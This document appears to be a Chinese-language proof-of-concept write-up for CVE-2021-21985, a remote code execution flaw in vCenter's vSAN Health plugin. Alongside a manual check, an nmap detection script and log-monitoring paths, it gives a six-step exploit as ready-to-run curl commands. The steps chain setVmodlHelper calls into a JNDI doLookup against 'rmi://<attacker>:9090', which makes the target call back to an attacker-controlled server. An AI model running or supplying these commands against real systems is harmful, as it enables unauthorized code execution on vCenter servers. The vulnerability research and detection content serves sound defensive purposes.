CVE-2021-21985 (漏洞代码)

06_test_class_method

可用的CLASS/METHOD，用于PoC的简单示例：com.vmware.vsan.client.services.capability.VsanCapabilityProvider

[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]

CVE-2021-21985 (PoC)

vSphere Client (HTML5) 包含一个远程代码执行漏洞，原因是 Virtual SAN Health Check 插件缺乏输入验证，该插件在 vCenter Server 中默认启用。

此手动检查基于 vCenter 默认可用的 CLASS/METHOD（例如 "/ui/h5-vsan/rest/*"）发送 POST 请求，并查看响应体中的 JSON 数据（状态码200），以确认是否存在 CVE-2021-21985。

手动检查：

# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

03_curl

PoC 漏洞利用已发布 (1)

致谢：https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/

复现步骤：

启动你的 Python 服务器以接收来自目标系统（vCenter）的连接，例如：

# python3 -m http.server 9090

步骤 1：将 TargetObject 设置为 null

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'

步骤 2：将 setStaticMethod 设置为 payload

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'

步骤 3：将 setTargetMethod 设置为 doLookup

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'

步骤 4：使用 payload 参数设置 setArguments

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'

步骤 5：初始化 payload 类和方法

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'

步骤 6：触发方法调用，提交此 POST 后等待几秒，查看你的 Python 服务器日志

POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}

# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'

exploit_01

参考资料：

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

CVE-2021-21985 (NSE 检查器)

此脚本基于 vCenter 默认可用的 CLASS/METHOD（例如 "/ui/h5-vsan/rest/*"）发送 POST 请求并查看响应体中的 JSON 数据（状态码200），以检查是否存在 CVE-2021-21985。

用法

# nmap -p443 --script CVE-2021-21985.nse <target>

输出

---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT    STATE SERVICE
-- 443/tcp open  https
-- | CVE-2021-21985: 
-- |   VULNERABLE:
-- |   vCenter 6.5-7.0 RCE
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2021-21985
-- |       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input 
-- |       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- |     Disclosure date: 2021-05-28
-- |     References:
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985

CVE-2021-21985

vCenter vSAN Health (控制台日志)

vCenter 日志路径

# /var/log/vmware/vsan-health/

03_vSAN-health

vSphere Client (控制台日志)

监控攻击

# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log

04_monitoring

作者

Alex Hernandez aka (@_alt3kx_)

CVE-2021-21985_PoC

最受欢迎